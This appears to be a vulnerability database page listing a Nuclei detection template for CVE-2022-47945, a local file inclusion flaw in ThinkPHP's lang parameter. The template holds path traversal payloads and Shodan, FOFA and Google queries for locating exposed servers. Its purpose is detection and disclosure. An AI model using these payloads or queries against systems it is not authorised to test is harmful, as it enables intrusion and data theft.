Lucene search
K

Thinkphp Lang - Local File Inclusion

🗓️ 07 Jul 2026 03:01:27Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 552 Views

ThinkPHP Lang - Local File Inclusion allows remote attackers to execute arbitrary operating system commands via lang parameter. Vulnerability can lead to unauthorized access, data leakage, and remote code execution

Related
Refs
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Thinkphp
9 Jan 202410:10
githubexploit
Circl
CVE-2022-47945
24 Dec 202200:14
circl
CNNVD
ThinkPHP 路径遍历漏洞
23 Dec 202200:00
cnnvd
CVE
CVE-2022-47945
23 Dec 202200:00
cve
Cvelist
CVE-2022-47945
23 Dec 202200:00
cvelist
Github Security Blog
ThinkPHP Framework vulnerable to remote code execution
23 Dec 202221:30
github
NVD
CVE-2022-47945
23 Dec 202221:15
nvd
OSV
GHSA-P4QR-VQ2G-22WP ThinkPHP Framework vulnerable to remote code execution
23 Dec 202221:30
osv
Prion
Design/Logic Flaw
23 Dec 202221:15
prion
Positive Technologies
PT-2022-28094
23 Dec 202200:00
ptsecurity
Rows per page
id: CVE-2022-47945

info:
  name: Thinkphp Lang - Local File Inclusion
  author: kagamigawa
  severity: critical
  description: |
    ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    Apply the latest security patches and updates provided by the Thinkphp framework.
  reference:
    - https://tttang.com/archive/1865/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47945
    - https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
    - https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47945
    cwe-id: CWE-22
    epss-score: 0.15505
    epss-percentile: 0.96407
    cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thinkphp
    product: thinkphp
    shodan-query:
      - title:"Thinkphp"
      - http.title:"thinkphp"
      - cpe:"cpe:2.3:a:thinkphp:thinkphp"
    fofa-query:
      - header="think_lang"
      - title="thinkphp"
    google-query: intitle:"thinkphp"
  tags: cve,cve2022,thinkphp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?lang=../../thinkphp/base"
      - "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Call Stack'
          - 'class="trace'
        condition: and

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100f5078110c5253adbdc2041464e7f98695d5a2fae1db4cb56b59a653ac08b4057022100aa60fa658b253072fac60fa92c4a374911d38389a1ae5ada8834ec6f18b15d80:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.19.8
EPSS0.15505
SSVC
552